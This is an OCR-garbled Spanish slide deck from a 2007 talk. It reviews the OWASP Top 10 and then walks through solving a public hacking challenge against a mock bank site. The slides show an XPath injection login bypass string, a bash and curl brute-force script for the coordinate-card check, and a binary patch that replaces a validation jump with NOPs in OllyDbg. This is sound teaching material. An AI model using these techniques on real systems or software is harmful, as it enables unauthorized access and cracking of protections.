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12 Parte: “Un enfoque practico”
Introduccion

l [OWASP] - “There are at least 300 issues that affect the
overall security of a web application. These 300+ Issues
are detailed in the OWASP Guide, which is essential

reading for anyone developing web applications today.*
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Top 10 - Vulnerabilidades Web [ Fuente: OWASP / MITRE ]




Sequridad Web
Top 10 — Vulnerabilidades Web [OWASP]

Al - Cross Site Scripting (XSS). XSS flaws occur whenever an application takes user supplied data and sends it to a web
browser Without first validating or encoding that content. XSS allows attackers to execute script in the victim’s browser which can hijack
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A3 — Malicious File Execution. Code vulnerable to remote file inclusion (RFI) aIIows attackers to include hostile cod
data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any
framework which accepts filenames or files from users.
A -~ In c |rec G

A5 Cross Site Request Forgery (CSRF) A CSRF attack forces a logged-on victim’s b

24er to send a pre-authenticated request to a

vulnerable web application, which then forces the victim’s browser to perform a hostile action to the benefit of the attacker. CSRF can be
as powerful as the web application that it attacks.
A6 — Information Leakage and Improper Error Handling. Applications can unintentionally leak information about their
configuration, internal workings, or violate privacy through a variety of application problems. Attackers use this weakness to steal

iive dajgror conduct more sg ious attacks.

A9 — Insecure Communications. Applications frequently fail to encrypt network traffic when it is necessary to protect sensitive
communications.
A10 — Failure to Restrict URL Access. Frequently, an application only protects sensitive functionality by preventing the display of

links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those
URLs directly.



%3 Login - Mozilla Firefox
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#qui esta wa el [l Reto Hacking, para la diversidon de los nifios v laz nifias, El bbjetivolen este cazo ez controlar la cuenta del “maligno bank™.

Deberéis encontrar al final del reto la forma de acceder a las cuentas bancarias para mover la pasta. El reto cuenta corn tres fases ¥ las
pistas zon las siguientes:

11 Mo siempre hay Sistemas Gestores de Bases de Datos relacionales w por tanto esta vez puedes ahorrarte el 5QL o no?
21 La ciencia ha aprendido en muchos campos utilizando los sistemas de Ensavo w Error. Aprender ez buenao,

31 El hacking ha muerto.

Tres pizstas faciles, tres fases sencillitas w un montdn de premios chulos:

1% Una carcatura firmada, pero estd vez jen COLOR!

i i Bi id
2% Una cena de fiesta v cachondeo totalmente invitado, AEmEEniEn

2% Una camizeta uzada pero jjlimpiall.
4% Una botella de VT de las buenas.

5" Una tarta de queso con arandanos,

Saludos malignos! ERIACES

Plug-in Firefox
“Header Spy”
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Solucidn al Reto #3
Identificando la plataforma / tecnologia (1)

roman@jupiter:~$ telnet retohacking3.elladodelmal.com 80

z 11 1 . -
Método “manual”: i BB,

Escape character is "/]".
HEAD / HTTP/1.1

3 PuertO 80 (HTTP) Host: retohacking3.elladodelmal .com

HTTP/1.1 200 OK
Connection: Keep-Alive

> H TT P/l O Content-Length: 9099
. Date: Mon, 17 Sep 2007 15:07:49 GMT
Content-Type: text/html; charset=utf-8

» HTTP/1.1 (afiadir  [Fmnarse i

X-AspNet-Version: 2.0.50727

Cabecera “HOSt”) Cache-Control: private
~]
telnet> quit

» Puerto 443 (HTTPS)  comeetion ctosea

. Identificacion mediante HTTP 1.1
» Cliente SSL +

z roman@jupiter:~$ openssl s_client -quiet —connect
M etOd OS H TT P retohacking3.elladodelmal .com:443

Identificacion mediante HTTPS




Solucidn al Reto #3
Identificando la plataforma / tecnologia (11)

«+ Meéetodo “automatico”: cualquier herramienta
gue inspeccione cabeceras HTTP. Ej:
“Header Spy” (Plug-in Firefox basado en “Live
HTTP Headers”)

+ Sl las cabeceras mienten (banner “ofuscado’):
» HTTP Fingerprinting (ej: httprint)
» Netcraft

« Extension de los ficheros (.aspx -> .NET)

« Oftros: investigar autor reto (Google),
iIngenieria social, ...




Solucion al Reto #3
iAl ataque! (1)

= Lanzar scanner web (Weblnspect, Acunetix,
AppScan...)

» Pueden dar algunas ideas o descubrir bugs
“sencillos”

» Caros y no siempre utiles. {No sustituyen a un
pen-tester!

» User/pass por defecto (admin/admin,
guest/guest, etc)

» Fuerza bruta (THC Hydra)




Solucion al Reto #3
iAl ataque! (I1)

» Paginas “escondidas”

» Ej: http://.../admin/ & http://.../admin.aspx
» Herramienta: “pipper”

= Arrancar proxy tipo Paros o WebScarab

» Inspeccion de trafico

» Modificar parametros (cambiar “true” por “false”
o al revés, etc.)

» Pruebas de inyeccion




Solucion al Reto #3
|AI ataque! (111)

a Anallzar fuentes HTML / CSS /JavaScript
» Autenticacion en el lado de cliente

» Parametros ocultos
» Comentarios




Solucion al Reto #3
Encontramos una pista...” XML Validation™

©J Codigo fuente de:http:/iretohacking3.elladodelmal.com/default.a. .. g@g|

</tdr</tr>
<tr>x<td colsjEsd
&nbsp: &nig
<ftdr</tr>
<tr><td>Tres

<gpan id="ccl00 Contfy Astly A e l1">Ei
</ TrF
Stahle

<t—— XML Validation --I ]

<table width="120" cellpadding="2" cell=pacing="0" border="0"
<tr>
<td align="left":>
Enbsp:<span id="ctl00 ContentPlaceHolderl Lahelz"
</ td>
<td>

Plug-in
Firefox:
JSView




Solucion al Reto #3
Pista 1: “No siempre hay RDBMS”

Las aplicaciones Un ataque tipico es la
web necesitan Inyeccion: variar
guardar datos significado sentencia

(en nuestro beneficio)

. RDBMS (MySQL,

MS-SQOL, ||- SQL Injection
PostgreSQL,
Oracle...)

. LDAP ||- LDAP Injection

- [XI\/IL II- XPath Injection




Solucién al Reto #3

., Que es XPath?
——
l Aplicable a “bases de datos”
XML
> Realmente no es mas que un
documento XML
<?xml version="1.0" encoding="1S0O-8859-1"?> : .
S - La informacion se guarda en
cusers nodos
<username>romansoft</username> - Los nodos se estructuran en
<password>!dSR</password> forma de arbol
_ouiosiuid> “XML Path” (o simplemente
<Users “XPath”) es el lenguaje
cusernamescrg</usemames utilizado para acceder a la
<password>haxO0r</password> Informacion de la DB
<uid>31337</uid> . Independ|ente, de
</user> implementacién (en SQL hay
<lusers> “dialectos”)
» No ACLs (en SQL hay
permisos por tablas,

Base de datos XML Col umnas, EtC)




Solucion al Reto #3
XPath Injection: Fundamentos

l Explotacion

» Dada la siguiente consulta Xpath:

string(//user[username/text()=‘romansoft' and password/text()="'dSR']/uid/text())

I\ J.1 |
J \. >4

| Y
Donde buscar Condicion Qué devolver

» |nyectamos:

User: abc' or 1=1 or 'a'='b

Pass: k v

» La condicion quedaria:

usernamef/text()="abc’ or 1=1|or|'a’='b" and password/text()="k' Trl Ie




Solucidn al Reto #3
XPath Injection “Avanzado” y Soluciones

l Blind XPath Injection:

s Publicado por Amit Klein en 2004

» Algoritmo gue permite obtener bbdd XML completa
utiizando XPath 1.0. Basado en el concepto de:

» “Booleanizacion”: reemplazar una peticion cuyo
resultado es una cadena o numero por una serie de
peticiones cuyo resultado es true/false (booleano)

» Implementd PoC pero no la libero

Soluciones:

» Filtrar comillas simples y dobles
s Sentencias parametrizadas (precompiladas)




Solucion al Reto #3
Solucién Fase 1

J Login - Mozilla Firefox

MENML

ontralar la cuenta

Home
n tr Ganadores

PR EVER

Barcelona: 22 de favo
fMadrid: 24 de ihawvo
Huela: 2 v 3 de Junio

HAM M LAE

Pamplona: 28/56 al 31/5
Wigo: 456 al Bia Mawo
Murcia: 04456 al 2276
Pamplona: 446 al 876
Tenerfe: 11/5 al 15/6
Yalladolid: 1846 al 2246
Barcelona: 25706 a 13/07
Bl e R

botells de D e I
Una tarta de gt -andanos

Walenci
EML
Informatica &4
El lado del mal
Hands On Lab
“izta Técnica
Reto Hacking |
Reto Hacking ||

Terminado i - L v IHES |@| * I A




Solucion al Reto #3
Fase 2: “La ciencia ha aprendido mediante Ensayo y Error”

2 Tarjeta - Mozilla Firefox

- a3 .

n Actual de P, .. rl"-JF'I:E- oro E debian:mail_sy

MENML

Usuario desconocido

Home

Ganadores
P : EWVENT
Barcelona: 22 de favo

fMadrid: 24 de ihawvo
Huela: 2 v 3 de Junio

Coordenada carrespondiente a la fila 4 v letral

]

Pamplona: 28/56 al 31/5
Wigo: 456 al Bia Mawo
Murcia: 04456 al 2276
Pamplona: 446 al 876
Tenerfe: 11/5 al 15/6
Yalladolid: 1846 al 2246
Barcelona: 25706 a 13/07
Walencia: 27 al 2777

EML

Informatica &4
El lado del mal
Hands On Lab
“izta Técnica
Reto Hacking |
Reto Hacking ||




Solucion al Reto #3
Control de acceso por Tarjeta de Coordenadas (1)

+ S| pudiéramos fijar nosotros la
coordenada podriamos obtener la
tarjeta de coordenadas completa con
tan so6lo 100.000 peticiones (max.)
mediante un atague de fuerza bruta:

» Coordenada mas alta es la 10-J (habria
100 coordenadas posibles)

» Cada coordenada son 3 digitos (1000
valores posibles para cada coordenada)




Solucion al Reto #3
Control de acceso por Tarjeta de Coordenadas (I1)

* Pero lo anterior no es factible porque la
coordenada la escoge el servidor
aleatorlamente

« Por suerte, no necesitamos hallar la
tarjeta completa :-). Basta con “adivinar”
el valor de una coordenada cualguiera
(1 posibilidad entre 1000)

« Por tanto, la fuerza bruta es factible.




Solucion al Reto #3
Capturamos una peticion cualquiera... (WebScarab)

Web5carab - conversation 17
‘ Previous H Next || 17 - POST httpciretohacking3.elladodelmal.com:80banco/fprincipal.aspx 200 OK -
Parsed m
Method URL Version
[POST | httpcifretohacking3.elladodelmal.com:80ibanca/principal.aspx | HTTPI |
Header | Yalue
Host iretuhgg}_@_g_.?i._pIladodelmal.cnm -
UzerAgent !n_ﬂqzillaIS.D__Cy_‘Vindgws; U Windows NT 5.1, es-ES; nei1.8.1.6) Gecko/20070725 Firefox2.0.0.6 |
Accept tentieml applhi nfml applicationihtml+xml textihtml;g=0.9 texdiplainig=0.8 image/png, ™ g=0.5 §:
ActeptLanguage b
AcceptEncoding azip, deflate ﬁ
Accept-Charset 150-8859-1 UtF-8,0=0.7 *4=0.7 §:
Keep-Alive 300 E
FProxy-Connection keep-alive §:
Referer E
{ Bicooke |

URLEncoded
Yariahle | Value |

_ BVEMNTTARGET |
_ EVENTARGUMENT |

WIEWSTATE L ER Dl L L TEXMyMT Q1 CToPZBY CZg9kF ol CAWIKE gl CAQYKFoICCABPFoleB1 Zpelib. .
cti00$ContentPlaceHaolder! $ttEntrada GG
cli00FContentPlaceHolder! $biEnviar Erpiar
__ EVENTWALIDATION AWEWC gLzsZCUDA LA utAgLdEPyd Dol 2w 38BAKZ 2vim 1 Cakim 1 ShaDakBok I2BwLe...

ersion Status Message
HTTPAA | 200 | oK |

Header | Yalue
Caonnection Keep-Alive |~

Content-length 116227 |=




Solucion al Reto #3
Nos fijamos en las cookies...

« “ASP.NET_Sessionld” se mantiene constante
mientras la sesion no caduque

« “ ASPXAUTHRETQO” cambia al poco tiempo
» Solucion: curl --cookie --cookie-jar

# Netscape HTTP Cookie File
# http://www.netscape.com/newsref/std/cookie_spec.html
# This file was generated by libcurl! Edit at your own risk.

retohacking3.elladodelmal.com FALSE / FALSE 0 LASPXAUTHRETOJ
BA8C218C366FEA5832CA128AB1FOB966F92DBAA8F2B342C4795334F2B093B9512DA0696306E
327CABE8SAB78B5CB1AD3D60BBBA360B3BF5110E824A0556CA3005549015AF3FD47AAE27F1B
3A2B328975718D6EESCEAA424523F0F855CD22F9C2D2177137A600ECDC674D2976A6AD38D193
retohacking3.elladodelmal.com FALSE / FALSE O ASP.NET_Sessionld
nmerrw55jagkix45ihotf245

Fichero “cookies”




Solucidn al Reto #3
Automatizamos el ataque...

#!/bin/bash
# Reto lll de elladodelmal.com. (c) RoMaNSoFt, 2007.

H### Variables

postdatal='...& VIEWSTATE=...&ctl00%24ContentPlaceHolder1%24txtEntrada="
postdata2='&ctl00%24ContentPlaceHolder1%24btEnviar=Enviar&...’
basefichero="brute*

cookies="cookies"

### Programa principal
c=0
foriin "seq 1 50000 ; do
echo-n"$i*“
p="printf "%03d" $c’
postdata="$postdatal$p$postdata2”
outfile="$basefichero"'$i"" $p*
curl --silent --includd --cookie "$cookies" --cookie-jar "$cookies" |
"http://retohacking3.elladodelmal.com/banco/principal.aspx" --data "$postdata” > $oultfile
c=%$(($c+1))
if [ $c -gt 999 ] ; then
c=0

fi
Done

Script de fuerza bruta




Solucidn al Reto #3
¢, Qué hace el script anterior?

» Genera sucesivas peticiones HTTP
(“curl”) rellenando el formulario de
control de acceso de acuerdo a la
captura anterior (WebScarab)

« Guarda el resultado de cada peticidon
en distintos ficheros: “brute<i>_<|>"
(e): brute1002_33)

* | ;= nuUmero de peticion/intento
» | := valor que se ha probado




Solucion al Reto #3
SI inspeccionamos los ficheros creados...

[1] -rw-r--r-- 1 roman roman 12493 2007-09-23 20:41 brutel 000

[2] -rw-r--r-- 1 roman roman 12494 2007-09-23 20:42 brute54 053
[3] -rw-r--r-- 1 roman roman 12763 2007-09-23 20:53 brute737_736
[4] -rw-r--r-- 1 roman roman 418 2007-09-23 20:59 brutel1148 147

Casos posibles

» Casos 1v 2: nos
pregunta por otra coord.

= Caso 3: idem pero
ademas envia cabecera:

» Set-Cookie:
ASPXAUTHRETO-=...

« Caso 4: iExito! (s minutos)

HTTP/1.1 302 Found

Connection: Keep-Alive
Content-Length: 138

Date: Sun, 23 Sep 2007 18:59:32 GMT
Location: /banco/faseFinal.aspx
Content-Type: text/html; charset=utf-8
Server: Microsoft-11S/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private

<html><head><title>Object
moved</title></head><body>

<h2>0Object moved to <a
href="/banco/faseFinal.aspx">here</a>.</h2>
</body></html>

Fichero “Brutel148 1477




Solucion al Reto #3
Fase 3: “El hacking ha muerto”

3 Final - Mozilla Firefox

z CE
én Actual de P, [EnPGForo B

Inicio Usnario desconocido

p

Barcelona: 22 de fihawo
Madrid: 24 de Mavo
Huelva: 2 v 3 de Junio

FPamplona: 28,5 al 3175
Wigo: 46 al BS6 Mavo
Murcia: 0476 al 2246
Pamplona: 4/6 al 856
Tenerfe: 11/ al 15/8
Valladolid: 1846 al 2278
Barcelona: 25/06 a 13707
Valenciar 27 al 277

Informatica &4
El lado del mal
Handz On Lab
Vista Técnica
Reto Hacking |
Reto Hacking Il




Solucion al Reto #3
El generador de codigos de activacion

Descargamos el fichero
.ZIp y descomprimimos

Contiene un ejecutable:
“GeneradorCodigoActivac
lon.exe”.

Le pasamos AV (1) y
despues ejecutamos

Pista 3: “El hacking ha
muerto”

Resulta evidente: este
nivel se centra en el
“cracking”

W alidar




Solucion al Reto #3
Analizamos el ejecutable con PEID...

» Parece haber sido escrito directamente en
ensamblador:

» MASM32 / TASM32

» Lo cual facilitara la labor de “ingenieria
Inversa”

5 PEID v0. 94

File: | M:\HackiWargamesiinformaticag4-retallliGeneradorCadigodctivacio |00

AL

Entrypoint: | 00001000 EP Section: | kext ﬂ
PEIiCr %0.94 Build Date: May 10, 2006, &l rights reserved.
File Offset: | ooO0DO400 First Bytes: | 6#4,00,E8,93 ﬂ e Signatures: 601
Linker Info: | 5.12 Subsystem: |Win3z GUI ﬂ &uthors
[ snaker ] [ Cwerton ] [ Jibz ]
MAaSM3IzZ | TASM3Z ‘Wehsites _ _ :
vy [0 peidbasic ] |ForumM [0 peidforums.has.ic ]
rAulki Scan ] Task Yiewer Cptions Abouk | Ezxit |

¥ Stay on top wn | [ —= Coded in Wisual C++ 7.10. Mo third party tools were harmed, |3




Solucion al Reto #3
Nuestro plan...

1. Desensamblar y analizar el ejecutable

2. Buscar la rutina que muestra la ventana de
“Datos Incorrectos”

3. Encontrar el punto desde el cual se llama a
dicharutinay ...

iParchearlo!




Solucion al Reto #3
Arrancamos nuestro debugger favorito: OllyDbg

I
=1t
@ Flle Wiew Debug Plugins Options  Window Help =1
Pased | B4 X] w[1| w4 ¥4 2| 4 v|E|M[T|W|H[c|/|K|B[R|..[5] i5[ZH]?]
Address |Hex dump Disassembly Comment &
Addr Hex dum & &)
Cornmand : I L”

3
=]
']
o
=
@
=
=
=l
=}
=




Solucion al Reto #3
Localizamos la rutina de “Datos Incorrectos”

- [EPU - main thread, module Generado] |Z||§|r>__<|
Flle Wiew Debug Plugins Options - 8 %

wWindow  Help

Vraned  [Eledx] win] i+ $0 4 +] vlE/mjz|win|c|/]k]B[R].Js] i=l#2]
. . ., Di bl C 2
Llamada rutina validacion et omme nt
de user/pass E
ORT @R4@11A
Salto condicional a rutina “Datos ; L =BP+81 | hhnd
Incorrectos”
Rutina “Datos Incorrectos”
0 g nlaly
) = )
ORT 2240 s

Addr Hex dum

< *
4 ¥

| Program entry point




Solucion al Reto #3
Parcheamos el salto condicional hacia la rutina

- [CPU - main thread, module Genernado] 5
@ Flle Wiew Debug Plugins Options  Window  Help - 8 x
Paed B4 X] il wi+d MU | + u|e[m{T|wH|[c|/|K|B|R|.|5]| EF|?]

Address |Hex dump Disassembly Comment |
Backup ¥
Copy 4
Edit Ctrl+E
A A -
il Assermble Space Fill with 00's
Op ADAR A Label !
Commenk 8 -
Breakpoint nary [opy
A N g 2 =t D1 q Hit trace 4
- RUR trace 3
Fallaw Enter
! S = able Mew arigin here ChrlHaray *
Go ko 3

-

Follow in Dump

Search For

Find references to
Wiew

Copy ko executable
Analysis

- v v v ¥

N
N

Ly
]

Detach Process

Process Patcher
Analyze This!

AsmzClipboard 3
= F. & = =t D 1lg Bockmark, »

A ARAD =¥ Code Ripper

Data Ripper

DR ExtraCopy 3

()
N,

Ly
()

Make Label

Durnp debugged process

Ol Hits Snake 3
Ultra String Reference 4

Addr Hex dum

<>
A

Command : I L” Appearance 4 I

| Program entry point




Solucion al Reto #3
El salto condicional queda sustituido por NOPs

I
=1t
@ Flle Wiew Debug Plugins Options  Window Help =1
Pased | B4 X] w[1| w4 ¥4 2| 4 v|E|M[T|W|H[c|/|K|B[R|..[5] i5[ZH]?]
Address |Hex dump Disassembly Comment &
NOP
NOP
[) = [)
OR A0
) = )
LALAZLLA w
Addr Hex dum & &)
Cornmand : I L”




Solucion al Reto #3
Guardamos las modificaciones realizadas...

- [€PU - main thread, module Generado]

@ File Wiew Debug Plugins Options  ‘Window  Help - 8 %
Paed (@A X] w|0] w4 B4 M 4 uE[M[T|w|H|c|/|K|B|R|.|S] i=5]E]?]
Address |Hex dump Disassembly Comment &
Backup r
Copry 3
A nlalEly - Binary 4 =
Undo selection alt+Eksp
=Ty Assemble Space
% NOP! e :
90 NOP abe
Cormment H
Breakpaint r
A » 0 - =t 1o - Hit krace 3
- Run krace 3
Mew origin here Chrl+Gray *
H . & = dD 1 - Goko 3
Follove in Cump 3
il h 1 = i D a Ahle a
Search for 3
Find references to 2
Copy selection to executable file? = o
F . & = = S9eB o election
Analysis 3

Copy I Copy aIII Skip Cancel X, SFO Detach Process

A4
Process Patcher
Analyze This!
AsmzClipboard 3
Bookmark 3
A P, &use etDlglte
Code Ripper
)
a G = Data Ripper
= AL = ExtraCopy 3 3
¢l
Make Label
Dump debugged process
AddrHex dum A Clly Hits Snake ’ A
W Ultra String Reference 4 W
(Clommend I LH Appearance k

| Frogram entry point




Solucion al Reto #3
.. 'y lo salvamos a un nuevo fichero (crackeado)

|File Wigte Debug  Plugins  Options  Window Help |

B x| 1] W4 | = E| W H|C| /s B|R|.|8
1 File M:\Hack\Wargames\informatica64-retolll\GeneradorCodigoActivacion.exe
Einary | e
Save data to file \ Assemble ]
Search for 4
- - - ; Save file

Guardar en: IE} informaticagd-retolll j - £ v bl FFet e

E,']hrute Wiew image in Disassembler

L@ |2 brute_0OLD

Hezx

Documentos [® Copia de GeneradarCadigosctivacion.sxe Test
recientes

Short:

Long
Float
v Disassemble
Special

ﬁ Generador_odigoActivacion. exe

@ EGeneracIorCodigD.ﬂ.ctivacinnCracked.exe

E scritorio

* vy v owow

Datka Ripper

™,
Y
e

Miz documentos Appearance

8

M P

L]

.GetDlgltem GetDlgltemTextA

Miz sitios de red  Mombre: IGeneradDrI:Ddign&ctivacictliracked.i:-:e j Guardar I

Tipar: IEHEI:utabIe file [*.exe) LI Cancelar |
Pt

. —
Program erty point |




Solucion al Reto #3
Probando nuestro ejecutable “crackeado”

+ Escribimos un user/pass
cualquiera. EJ: a/a

« Click en “Validar”. Vemos
qgue el boton de “Generar v
codigo de activacion” se o
activa

« Click en dicho botony...

W alidar

GEMERAR CODIGO DE ACTIWACION ]l

Reto Hacking #3




Solucion al Reto #3
Obtenemos el cédigo

M Reto Hacking #3

s El usuario debe tener 5
caracteres minimo.

D atoz para la Activacion

> Lo Intentamos de nuevo y... | e fses

 alidar |

[ 160 1 36 40427520828

i EI C é d i g O eS n u eStrO ! GEMERAR CODIGO DE ACTIWACION




Solucion al Reto #3
Introducimos el cédigo y...

3 Final - Mozilla Firefox

én Actual de P...  [EnPG-Foro ER

N
-

Inicio Usnario desconocido

p

Barcelona: 22 de fihawo
Madrid: 24 de Mavo
Huelva: 2 v 3 de Junio

El zistema de seguridad ha sido modificado, descarzue el siguiente

fichero para realizar la operacidan

FPamplona: 28,5 al 3175
Wigo: 46 al BS6 Mavo
Murcia: 0476 al 2246
Pamplona: 4/6 al 856
Tenerfe: 11/ al 15/8
Valladolid: 1846 al 2278
Barcelona: 25/06 a 13707
Valenciar 27 al 277

Informatica &4
El lado del mal
Handz On Lab
Vista Técnica
Reto Hacking |
Reto Hacking Il




Solucion al Reto #3
i Reto superado!

2 Untitled Page - Mozilla Firefox

Editar

"r ..

én Actual de P...  [EnPG-Foro ER

Inicio Cuentas Uswario desconocido

Mombre |RDMaNSDFt

il |

Procedimiento

p

Barcelona: 22 de fihawo
Madrid: 24 de Mavo
Huelva: 2 v 3 de Junio

FPamplona: 28,5 al 3175
Wigo: 46 al BS6 Mavo
Murcia: 0476 al 2246
Pamplona: 4/6 al 856
Tenerfe: 11/ al 15/8
Valladolid: 1846 al 2278
Barcelona: 25/06 a 13707
Valenciar 27 al 277

Informatica &4
El lado del mal
Handz On Lab
Vista Técnica
Reto Hacking |
Reto Hacking Il




Solucidn al Reto #3
Ya para terminar...

l Conclusiones:

» :Metodologia? OWASP, OSSTMM, ISSAF... pero
al final... “Cada maestrillo tiene su librillo”

= |ngredientes para un buen “pen-tester’:

» 40% - Conocimientos “basicos” (tecnologias, protocolos,
programacion)

» 30% - Hacking “skills” (técnicas, vulnerabilidades,
herramientas)

» 30% - Capacidad de anélisis, improvisacion, ingenio,
creatividad y... jpaciencia!

¢A que no era tan dificil? ;-)




Fin 12 parte. ¢ Preguntas?

(Gracias!

s roman@rs-labs.com
http://www.rs-labs.com/
« mandingo@yoire.com

http://www.yoire.com/
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